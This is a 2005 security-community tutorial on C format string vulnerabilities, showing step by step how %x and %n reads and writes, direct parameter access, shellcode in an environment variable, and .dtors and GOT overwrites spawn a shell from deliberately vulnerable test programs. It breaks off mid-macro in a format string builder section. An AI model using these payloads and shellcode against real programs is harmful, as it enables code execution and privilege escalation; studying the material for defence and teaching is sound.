Gotfault Security Community
(GSC)
---------[ Chapter : 0x400 ]
---------[ Subject : Format Strings ]
---------[ Author : xgc/dx A.K.A Thyago Silva ]
---------[ Date : 11/02/2005 ]
---------[ Version : 2.5 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x410 - Objective
0x420 - Requisites
0x430 - Introduction to Format Strings
0x440 - The Format String Vulnerability
0x450 - Reading Memory Addresses
0x460 - Writing to Memory Addresses
0x470 - Direct Parameter Access (DPA)
0x480 - Overwriting Dtors Section
0x490 - Overwriting Global Offset Table
0x4a0 - Extra Analisys
0x4b0 - Format String Builder
0x4c0 - Conclusion
|=-----------------------------------------------------------------------------=|
---------[ 0x410 - Objective ]
This paper will show how the code can be vulnerable against format strings
attacks and how to execute arbitrary code.
---------[ 0x420 - Requisites ]
Memory Analisys/Introduction to Local Stack Overflow (Basic Module).
---------[ 0x430 - Introduction to Format Strings ]
Format strings are simply a string of characters, with special format string
identifiers. If you have programmed in C, you are familiar with functions such
as printf(). The printf function takes a format string as the first argument
and then variables which the format string will use.
To makes the corret use of the printf function, and others ones of the family, you
must specify a format specifier to be printed to the stdout.
Some of the common format specifiers used by printf are:
%c The character format specifier.
%d The integer format specifier.
%i The integer format specifier (same as %d).
%f The floating-point format specifier.
%s The string format specifier.
%u The unsigned integer format specifier.
%x The unsigned hexadecimal format specifier.
%p Displays the corresponding argument that is a pointer.
%n Records the number of characters written so far.
Let's get analysis from some code.
#include <stdio.h>
int main() {
char *string = "Sample";
int A = 72;
unsigned int B = 50;
int one;
int two;
printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A);
printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B);
printf("[string] %s Address %08x\n", string, string);
printf("one is located at: %08x\n", &one);
printf("two is located at: %08x\n", &two);
printf("A is %d and is at %08x. B is %u and is at %08x.\n",
A, &A, B, &B);
return 0;
}
[xgc@knowledge:~]$ gcc -o fmt_example fmt_example.c
[xgc@knowledge:~]$ ./fmt_example
[A] Dec: 72, Hex: 48, Unsigned: 72
[B] Dec: 50, Hex: 32, Unsigned: 50
[string] Sample Address 080485a0
one is located at: bffffb18
two is located at: bffffb14
A is 72 and is at bffffb20. B is 50 and is at bffffb1c.
The first two printf() statements demonstrate the printing of variables
A and B, using different format parameters.
Following the output, the line labeled [string], simply shows the use of the
%s format parameter. The variable string is actually a pointer containing the
address of the string.
The next ouput of the example demonstrates the use of the unary address operator,
which have been showed the address of the variables.
Finally the last part of the code. When this printf() function is called
(as with any function), the arguments are pushed to the stack in reverse order.
First the address of B is pushed, then the value of B, then the address of A,
then the value of A, and finally the address of the format string.
---------[ 0x440 - The Format String Vulnerability ]
Sometimes programmers print strings using printf(string), instead of
printf("%s", string). Functionally, this works fine.
It's a bug, because printf() is expecting format string parameters,
If %s is forgotten(in this case) or simply ignored, printf will seek by the
format string identifiers in the buffer(or input) itself.
Check the code below:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[64];
static int value = 50;
if(argc != 2)
return -1;
strcpy(buffer, argv[1]);
printf("Right way:\n");
printf("%s\n", buffer);
printf("Wrong way:\n");
printf(buffer);
printf("\n");
printf("(-) value @ 0x%08x = %d 0x%08x\n",
&value, value, value);
return 0;
}
[xgc@knowledge:~]$ gcc -o fmt_bug fmt_bug.c
[xgc@knowledge:~]$ ./fmt_bug testing.
Right way:
testing.
Wrong way:
testing.
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
It runs perfectly, so the programmer will not even notice anything, to test
this you just must to pass out a format string parameter to it.
This is simply done like the following.
[xgc@knowledge:~]$ ./fmt_bug AAAA%x
Right way:
AAAA%x
Wrong way:
AAAAbffffae0
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
---------[ 0x450 - Reading from Memory Addresses ]
When the %x format parameter was used, the hexadecimal representation of a 4-byte word
in the stack was printed.
This process can be used repeatedly to examine stack memory.
Now if we want to know the address that points back to our string inputed, you would
have to atleast placed something in argv[1] + format string parameters. This allows it
to think the contents in name is an address.
[xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x
Right way:
AAAA%x%x%x%x
Wrong way:
AAAAbffffae04008978e4014a8804014a870
(-) value @ 0x0804960c = 50 0x00000032
Let's fill more.
[xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x%x%x%x%x
Right way:
AAAA%x%x%x%x%x%x%x%x
Wrong way:
AAAAbffffad04008978e4014a8804014a870bffffad440030c854014a88041414141
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
The four bytes of 0x41 indicates that the eight format parameter is reading from the
beginning of the format string to get its data.
But if a valid memory address is used, this process could be used to read a string
found at that memory address. Let's do something to demonstrate it.
[xgc@knowledge:~]$ gdb ./fmt_bug -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /home/xgc/fmt_bug
Breakpoint 1, 0x080483fa in main ()
(gdb) x/s 0xbffffffa-100
0xbfffff96: "UAGE=en_US:en_GB:en"
(gdb)
0xbfffffaa: "LOGNAME=xgc"
(gdb)
The address of the string "xgc" is located at the 0xbfffffae. Let's use the format string %s
and %x with the exact location of our input using format parameters.
[xgc@knowledge:~]$ ./fmt_bug `printf "\xae\xff\xff\xbf"`%x%x%x%x%x%x%x"->"%s
Right way:
®ÿÿ¿%x%x%x%x%x%x%x->%s
Wrong way:
®ÿÿ¿bffffab04008978e4014a8804014a870bffffab440030c854014a880->xgc
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
[xgc@knowledge:~]$ ./fmt_bug `printf "\xae\xff\xff\xbf"`%x%x%x%x%x%x%x"->"%x
Right way:
®ÿÿ¿%x%x%x%x%x%x%x->%x
Wrong way:
®ÿÿ¿bffffab04008978e4014a8804014a870bffffab440030c854014a880->bfffffae
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
---------[ 0x460 - Writing to Memory Addresses ]
If the %s format parameter can be used to read an memory address, the same
technique using %n should be able to write to an memory address.
To check out that, let's use our format string code.
[xgc@knowledge:~]$ ./fmt_bug AAAA%x%x%x%x%x%x%x%x
Right way:
AAAA%x%x%x%x%x%x%x%x
Wrong way:
AAAAbffffab04008978e4014a8804014a870bffffab440030c854014a88041414141
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
Our value variable is located at 0x0804960c, so as before, but now using %n
to write, we're able to write to this address.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x60\x96\x04\x08"`%x%x%x%x%x%x%x%n
Right way:
%x%x%x%x%x%x%x%n
Wrong way:
bffffab04008978e4014a8804014a870bffffab440030c854014a880
(-) value @ 0x0804960c = 60 0x0000003c
[xgc@knowledge:~]$
The resulting value in the variable depends on the number of bytes written before the %n.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x60\x96\x04\x08"`%x%x%x%x%x%x%10x%n
Right way:
%x%x%x%x%x%x%10x%n
Wrong way:
bffffab04008978e4014a8804014a870bffffab440030c85 4014a880
(-) value @ 0x0804960c = 62 0x0000003e
[xgc@knowledge:~]$
As we can see, this can be controlled to a greater degree by manipulating the field width option.
Let's play a bit.
If now we know how to write on the address, we'll do it:
1- Write 0xde000000 at the address 0x0804960c
2- Write 0x00ad0000 at the address 0x0804960d
3- Write 0x0000be00 at the address 0x0804960e
4- Write 0x000000ef at the address 0x0804960f
As an example, let's write the address 0xdeadbeef into the value variable.
In memory, the first byte of the value variable should be 0xef, then 0xbe,
then 0xad, and finally 0xde. Four separate writes to the memory addresses
0x0804960c, 0x0804960d, 0x0804960e, and 0x0804960f should accomplish this.
To write the bytes inside each address we will do it:
First : 0xef - [ number of value variable ] + [ number of the offset ]
Second : 0xbe - 0xef
Thirth : 0xad - 0xbe
Fourth : 0xde - 0xad
So let's write 0xef to the address 0x0804960c.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08"`%x%x%x%x%x%x%x%n
Right way:
%x%x%x%x%x%x%x%n
Wrong way:
bffffab04008978e4014a8804014a870bffffab440030c854014a880
(-) value @ 0x0804960c = 60 0x0000003c
[xgc@knowledge:~]$ pcalc 0xef-60
179 0xb3 0y10110011
[xgc@knowledge:~]$ pcalc 179+8
187 0xbb 0y10111011
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08"`%x%x%x%x%x%x%187x%n
Right way:
%x%x%x%x%x%x%187x%n
Wrong way:
bffffab04008978e4014a8804014a870bffffab440030c85
4014a880
(-) value @ 0x0804960c = 239 0x000000ef
[xgc@knowledge:~]$
Another argument is needed for another %x format parameter to increment the byte
count up to get 0xbe. This argument could be anything; it just has to be four bytes
long and must be located after the first arbitrary memory address of 0x0804960c.
Because this is all still in the memory of the format string, it can be easily
controlled. The word "HACK" is four bytes long and will work fine. So we do this
process to all the address that will be written.
Let's build first our buffer of addresses:
"\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"
Now let's write 0xef to the first address of the buffer.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK
\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%x%n
Right way:
HACKHACKHACK%x%x%x%x%x%x%x%n
Wrong way:
HACKHACKHACKbffffaa04008978e4014a8804014a870bffffaa440030c854014a880
(-) value @ 0x0804960c = 84 0x00000054
[xgc@knowledge:~]$ pcalc 0xef-84
155 0x9b 0y10011011
[xgc@knowledge:~]$ pcalc 155+8
163 0xa3 0y10100011
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK
\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n
Right way:
HACKHACKHACK%x%x%x%x%x%x%163x%n
Wrong way:
HACKHACKHACKbffffaa04008978e4014a8804014a870bffffaa440030c85
4014a880
(-) value @ 0x0804960c = 239 0x000000ef
[xgc@knowledge:~]$
Now let's write 0xbe to the second address of the buffer.
[xgc@knowledge:~]$ pcalc 0xbe-0xef
-49 0xffffffcf 0y11111111111111111111111111001111
[xgc@knowledge:~]$
A negative number is impossible to be inserted. So, instead of trying to subtract 0xbe from
0xef, the least significant byte is just wrapped around to 0x1be. This technique can be used
to wrap around again to set the least significant byte to 0xbe for the second write.
[xgc@knowledge:~]$ pcalc 0x1be-0xef
207 0xcf 0y11001111
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK
\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n
Right way:
HACKHACKHACK%x%x%x%x%x%x%163x%n%207x%n
Wrong way:
HACKHACKHACKbffffa904008978e4014a8804014a870bffffa9440030c85
4014a880
4b434148
(-) value @ 0x0804960c = 114415 0x0001beef
[xgc@knowledge:~]$
Now let's write 0xad to the thirth address of the buffer.
[xgc@knowledge:~]$ pcalc 0xad-0xbe
-17 0xffffffef 0y11111111111111111111111111101111
[xgc@knowledge:~]$ pcalc 0x1ad-0xbe
239 0xef 0y11101111
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08HACK
\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n%239x%n
Right way:
HACKHACKHACK%x%x%x%x%x%x%163x%n%207x%n%239x%n
Wrong way:
HACKHACKHACKbffffa904008978e4014a8804014a870bffffa9440030c85
4014a880
4b434148
4b434148
(-) value @ 0x0804960c = 44941039 0x02adbeef
[xgc@knowledge:~]$
Now let's write 0xde to the fourth address of the buffer.
[xgc@knowledge:~]$ pcalc 0xde-0xad
49 0x31 0y110001
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08HACK\x0d\x96\x04\x08
HACK\x0e\x96\x04\x08HACK\x0f\x96\x04\x08"`%x%x%x%x%x%x%163x%n%207x%n%239x%n%49x%n
Right way:
HACHAC%x%x%x%x%x%x%163x%n%207x%n%239x%n%49x%n
Wrong way:
HACHACbffffa804008978e4014a8804014a870bffffa8440030c85
4014a880
4b434148
4b434148 4b434148
(-) value @ 0x0804960c = -559038737 0xdeadbeef
[xgc@knowledge:~]$
That's great.
---------[ 0x470 - Direct Parameter Access (DPA) ]
It's a way to simplify format string exploits. In the previous example, each
of the format parameter arguments had to be stepped through sequentially. This
necessitated using several %x format parameters to step through parameter arguments
until the beginning of the format string was reached. In addition, the sequential
nature required three 4-byte words of "HACK" to properly write a full address to an
arbitrary memory location.
Direct Parameter Access allows parameters to be accessed directly by using the dollar
sign qualifier. For example, look the code below:
[xgc@knowledge:~]$ more dpa.c
#include <stdio.h>
int main() {
printf("4th: %4$d\n", 7, 20, 44, 65, 28, 2);
return 0;
}
[xgc@knowledge:~]$ gcc -o dpa dpa.c
[xgc@knowledge:~]$ ./dpa
4th: 65
[xgc@knowledge:~]$
Before to get data of the eight offset, we use "%x" eight times.
Now we will get the same data writing:
[xgc@knowledge:~]$ ./fmt_bug AAAA%8\$x
Right way:
AAAA%8$x
Wrong way:
AAAA41414141
(-) value @ 0x0804960c = 50 0x00000032
[xgc@knowledge:~]$
Direct Parameter Access also simplifies the writing of memory addresses. Because memory
can be accessed directly, there's no need for 4-byte spacers of junk data to increment
the byte output count.
Let's writing a more realistic looking address of some environment variable which have as
content no operation bytes and shellcode into the variable value using direct parameter access.
[xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
[xgc@knowledge:~]$ gdb ./fmt_bug -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483ca
(gdb) run
Starting program: /home/xgc/fmt_bug
Breakpoint 1, 0x080483ca in main ()
(gdb) x/s 0xbffffffa-1030
0xbffffbf4: "me/xgc/fmt_bug"
(gdb)
0xbffffc03: "SHELLCODE=", '\220' <repeats 50 times>, "1ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) x/s 0xbffffc03+25
0xbffffc1c: '\220' <repeats 35 times>, "1ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb)
Then, let's use 0xbffffc1c which points to the shellcode.
A small draft can be made as below:
First : 0x1c - [ distance (bytes) from the first address inputed ]
Second : 0xfc - 0x1c
Thirth : 0xff - 0xfc
Fourth : 0xbf - 0xff
Buffer of addresses to be written is:
"\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04\x08\x0f\x96\x04\x08"
To figure out how the format string using direct parameter access will looks like, let's
write another draft for it.
First write: %[offset]$[value]x%[offset]$n
Second write: %[offset]$[value]x%[offset+1]$n
Thirth write: %[offset]$[value]x%[offset+2]$n
Fourth write: %[offset]$[value]x%[offset+3]$n
Now let's write 0x1c to the first address of the buffer.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04
\x08\x0f\x96\x04\x08"`%8\$x%8\$n
Right way:
%8$x%8$n
Wrong way:
804960c
(-) value @ 0x0804960c = 23 0x00000017
[xgc@knowledge:~]$ pcalc 0x1c-16
12 0xc 0y1100
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04
\x08\x0f\x96\x04\x08"`%8\$12x%8\$n
Right way:
%8$12x%8$n
Wrong way:
804960c
(-) value @ 0x0804960c = 28 0x0000001c
[xgc@knowledge:~]$
Was decremented by 16 bytes because the first write is 16 bytes so far away from
the first address inputed.
Now let's write 0xfc to the second address of the buffer.
[xgc@knowledge:~]$ pcalc 0xfc-0x1c
224 0xe0 0y11100000
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04
\x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n
Right way:
%8$12x%8$n%8$224x%9$n
Wrong way:
804960c
804960c
(-) value @ 0x0804960c = 64540 0x0000fc1c
[xgc@knowledge:~]$
Now let's write 0xff to the thirth address of the buffer.
[xgc@knowledge:~]$ pcalc 0xff-0xfc
3 0x3 0y11
On this case, numbers < than 8, we need to add the 1 at front of the byte.
[xgc@knowledge:~]$ pcalc 0x1ff-0xfc
259 0x103 0y100000011
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04
\x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n
Right way:
%8$12x%8$n%8$224x%9$n%8$259x%10$n
Wrong way:
804960c
804960c
804960c
(-) value @ 0x0804960c = 33553436 0x01fffc1c
[xgc@knowledge:~]$
Now let's write 0xbf to the fourth address of the buffer.
[xgc@knowledge:~]$ pcalc 0xbf-0xff
-64 0xffffffc0 0y11111111111111111111111111000000
[xgc@knowledge:~]$ pcalc 0x1bf-0xff
192 0xc0 0y11000000
[xgc@knowledge:~]$ ./fmt_bug `printf "\x0c\x96\x04\x08\x0d\x96\x04\x08\x0e\x96\x04
\x08\x0f\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n
Right way:
%8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n
Wrong way:
804960c
804960c
804960c
804960c
(-) value @ 0x0804960c = -1073742820 0xbffffc1c
[xgc@knowledge:~]$
Ok, the shellcode address have been written to the value variable address sucessfuly.
---------[ 0x480 - Overwriting Dtors ]
In binary programs compiled with the GNU C compiler, special table sections called
.dtors and .ctors are made for destructors and constructors, respectively. Constructor
functions are executed before the main function is executed, and destructor functions
are executed just after the main function exits with an exit system call. The destructor
functions and the .dtors table section are of particular interest. Let's see a code:
#include <stdlib.h>
static void cleanupc(void) __attribute__ ((constructor));
static void cleanupd(void) __attribute__ ((destructor));
void cleanupc(void) {
printf("Step 0x1: Inside in the cleanupc function attributed to constructor.\n");
}
int main() {
printf("Step 0x2: Inside main function.\n");
}
void cleanupd(void) {
printf("Step 0x3: Inside in the cleanupd function attributed to destructor.\n");
}
[xgc@knowledge:~]$ gcc -o dtors_ctors_sample dtors_ctors_sample.c
[xgc@knowledge:~]$ ./dtors_ctors_sample
Step 0x1: Inside in the cleanupc function attributed to constructor.
Step 0x2: Inside main function.
Step 0x3: Inside in the cleanupd function attributed to destructor.
[xgc@knowledge:~]$
The nm command can be used to find the address of the cleanup function, and objdump can be used to examine the
sections of the binary.
[xgc@knowledge:~]$ nm ./dtors_ctors_sample
080496f0 A __bss_start
080482e4 t call_gmon_start
08048384 t cleanupc
080483b6 t cleanupd
080496f0 b completed.1
080496c4 d __CTOR_END__
080496bc d __CTOR_LIST__
080495e4 D __data_start
080495e4 W data_start
08048490 t __do_global_ctors_aux
08048310 t __do_global_dtors_aux
080495e8 D __dso_handle
080496d0 d __DTOR_END__
080496c8 d __DTOR_LIST__
080495f4 D _DYNAMIC
080496f0 A _edata
080496f4 A _end
080484c0 T _fini
080495e4 A __fini_array_end
080495e4 A __fini_array_start
080484e0 R _fp_hw
08048350 t frame_dummy
080495f0 r __FRAME_END__
080496d8 D _GLOBAL_OFFSET_TABLE_
w __gmon_start__
08048480 T __i686.get_pc_thunk.bx
08048278 T _init
080495e4 A __init_array_end
080495e4 A __init_array_start
080484e4 R _IO_stdin_used
080496d4 d __JCR_END__
080496d4 d __JCR_LIST__
w _Jv_RegisterClasses
08048430 T __libc_csu_fini
080483d0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
08048398 T main
080495ec d p.0
U printf@@GLIBC_2.0
080482c0 T _start
[xgc@knowledge:~]$ objdump -s -j .dtors ./dtors_ctors_sample
./dtors_ctors_sample: file format elf32-i386
Contents of section .dtors:
80496c8 ffffffff b6830408 00000000 ............
[xgc@knowledge:~]$
An interesting detail about the .dtors section is that it's a writable section. An
object dump of the headers will verify this by showing that the .dtors section isn't
labeled READONLY.
[xgc@knowledge:~]$ objdump -h ./dtors_ctors_sample | grep -A 1 .dtor
./dtors_ctors_sample: file format elf32-i386
--
18 .dtors 0000000c 080496c8 080496c8 000006c8 2**2
CONTENTS, ALLOC, LOAD, DATA
[xgc@knowledge:~]$
Because the .dtors section is writable, if the address after the 0xffffffff is overwritten
with a memory address, the program's execution flow will be directed to that address when the
program exits. This will be the address of __DTOR_LIST__ plus 4, which is 0x080496d0, which is
__DTOR_END__.
Before, we have wrote the follow format string with direct parameter access:
"%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n"
it have been written the address 0xbffffc1c, which pointes to the shellcode, on the value varible.
Now let's build our buffer of .dtors addresses.
[xgc@knowledge:~]$ nm ./fmt_bug | grep DTOR
080496e8 d __DTOR_END__
080496e4 d __DTOR_LIST__
[xgc@knowledge:~]$
Building our buffer of addresses to be written:
"\xe8\x96\x04\x08\xe9\x96\x04\x08\xea\x96\x04\x08\xeb\x96\x04\x08"
Let's see if it works.
[xgc@knowledge:~]$ ./fmt_bug `printf "\xe8\x96\x04\x08\xe9\x96\x04\x08\xea\x96\x04
\x08\xeb\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n
Right way:
%8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n
Wrong way:
80496e8
80496e8
80496e8
80496e8
(-) value @ 0x0804960c = 50 0x00000032
sh-2.05b$
Dtors have been overwritten sucessfuly and shellcode executed.
---------[ 0x490 - Overwriting Global Offset Table ]
A program could use a function in a shared library many times, it's useful to have
a table to reference all the functions. Another special section in compiled programs
is used for this purpose the Procedure Linkage Table, or PLT for short. This section
consists of many jump instructions, each one corresponding to the address of a function.
It works sort of like a springboard. Each time a shared function needs to be called,
control will pass through the procedure linkage table.
[xgc@knowledge:~]$ objdump -d -j .plt ./fmt_bug
./fmt_bug: file format elf32-i386
Disassembly of section .plt:
080482b8 <.plt>:
80482b8: ff 35 88 96 04 08 pushl 0x8049688
80482be: ff 25 8c 96 04 08 jmp *0x804968c
80482c4: 00 00 add %al,(%eax)
80482c6: 00 00 add %al,(%eax)
80482c8: ff 25 90 96 04 08 jmp *0x8049690
80482ce: 68 00 00 00 00 push $0x0
80482d3: e9 e0 ff ff ff jmp 80482b8 <_init+0x18>
80482d8: ff 25 94 96 04 08 jmp *0x8049694
80482de: 68 08 00 00 00 push $0x8
80482e3: e9 d0 ff ff ff jmp 80482b8 <_init+0x18>
80482e8: ff 25 98 96 04 08 jmp *0x8049698
80482ee: 68 10 00 00 00 push $0x10
80482f3: e9 c0 ff ff ff jmp 80482b8 <_init+0x18>
[xgc@knowledge:~]$ objdump -h ./fmt_bug | grep -A 1 .plt
8 .rel.plt 00000018 08048288 08048288 00000288 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
--
10 .plt 00000040 080482b8 080482b8 000002b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
As this output shows, the procedure linking table is unfortunately read-only.
But closer examination of the jump instructions reveals that they aren't jumping
to addresses, but pointers to addresses. This means that the actual locations of
all the functions are located at the memory addresses 0x80496f8, 0x80496fc, 0x8049700, and
0x8049704.
These memory addresses lie in another special section, called the global offset table
(GOT). One very interesting detail about the global offset table is that it isn't marked
as read-only, as the following output shows.
[xgc@knowledge:~]$ objdump -h ./fmt_bug | grep -A 1 .got
20 .got 0000001c 08049684 08049684 00000684 2**2
CONTENTS, ALLOC, LOAD, DATA
[xgc@knowledge:~]$ objdump -d -j .got ./fmt_bug
./fmt_bug: file format elf32-i386
Disassembly of section .got:
08049684 <_GLOBAL_OFFSET_TABLE_>:
8049684: a8 95 04 08 00 00 00 00 00 00 00 00 ce 82 04 08 ................
8049694: de 82 04 08 ee 82 04 08 00 00 00 00 ............
[xgc@knowledge:~]$
This shows jmp *0x8049694 in the procedure linkage table actually jumps the
program execution to 0x080482de, because 0x080482de is located at 0x8049694 in
the global offset table.
The necessary information, including the function names, can be obtained by displaying the dynamic
relocation entries for the binary by using objdump.
[xgc@knowledge:~]$ objdump -R ./fmt_bug
./fmt_bug: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804969c R_386_GLOB_DAT __gmon_start__
08049690 R_386_JUMP_SLOT __libc_start_main
08049694 R_386_JUMP_SLOT printf
08049698 R_386_JUMP_SLOT strcpy
[xgc@knowledge:~]$
We see that the jmp instructions have associated with the print and strcpy functions.
So, we will overwrite printf function address with our format string which will write
the address of the shellcode there.
Let's see if it works.
[xgc@knowledge:~]$ ./fmt_bug `printf "\x94\x96\x04\x08\x95\x96\x04\x08\x96\x96\x04
\x08\x97\x96\x04\x08"`%8\$12x%8\$n%8\$224x%9\$n%8\$259x%10\$n%8\$192x%11\$n
Right way:
%8$12x%8$n%8$224x%9$n%8$259x%10$n%8$192x%11$n
Wrong way:
sh-2.05b$
When fmt_bug tries to call the printf function, the address of the printf function is looked
up in the global offset table and is jumped to via the procedure linkage table.
Because the actual address has been switched with the address for the shellcode in the
environment, a shell is spawned.
---------[ 0x49a - Extra Analisys ]
Analisys/Exploiting of the second source code:
#include <stdio.h>
int main(int argc, char *argv[]) {
printf(argv[1]);
printf("\n");
}
[xgc@knowledge:~]$ gcc -o fmt_bug2 fmt_bug2.c
[xgc@knowledge:~]$ ./fmt_bug2 AAAA%85\$x
AAAA35382541
[xgc@knowledge:~]$ ./fmt_bug2 AAAA%84\$x
AAAA41414100
[xgc@knowledge:~]$ ./fmt_bug2 AAAA%84\$xB
AAAA41414141B
Overwriting DTORS Section:
[xgc@knowledge:~]$ nm ./fmt_bug2 | grep DTOR
080495bc d __DTOR_END__
080495b8 d __DTOR_LIST__
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04
\x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04
\x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n.
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04
\x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n..
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xbc\x95\x04\x08\xbd\x95\x04\x08\xbe\x95\x04
\x08\xbf\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n...
80495bc
80495bc
80495bc
80495bc...
sh-2.05b$
Overwriting Global Offset Table at printf() address:
[xgc@knowledge:~]$ objdump -d -j .plt ./fmt_bug2
./fmt_bug2: file format elf32-i386
Disassembly of section .plt:
08048290 <.plt>:
8048290: ff 35 c8 95 04 08 pushl 0x80495c8
8048296: ff 25 cc 95 04 08 jmp *0x80495cc
804829c: 00 00 add %al,(%eax)
804829e: 00 00 add %al,(%eax)
80482a0: ff 25 d0 95 04 08 jmp *0x80495d0
80482a6: 68 00 00 00 00 push $0x0
80482ab: e9 e0 ff ff ff jmp 8048290 <_init+0x18>
80482b0: ff 25 d4 95 04 08 jmp *0x80495d4
80482b6: 68 08 00 00 00 push $0x8
80482bb: e9 d0 ff ff ff jmp 8048290 <_init+0x18>
[xgc@knowledge:~]$ objdump -R ./fmt_bug2
./fmt_bug2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495d8 R_386_GLOB_DAT __gmon_start__
080495d0 R_386_JUMP_SLOT __libc_start_main
080495d4 R_386_JUMP_SLOT printf
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04
\x08\xd7\x95\x04\x08"`%85\$x.
80495d4.
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04
\x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04
\x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n.
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04
\x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n..
Segmentation fault (core dumped)
[xgc@knowledge:~]$ ./fmt_bug2 `printf "\xd4\x95\x04\x08\xd5\x95\x04\x08\xd6\x95\x04
\x08\xd7\x95\x04\x08"`%85\$12x%85\$n%85\$224x%86\$n%85\$259x%87\$n%85\$192x%88\$n...
sh-2.05b$
---------[ 0x49b - Format String Builder ]
Follow the code below:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define ADD 0x100
#define OCT(b0, b1, b2, b3, addr) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
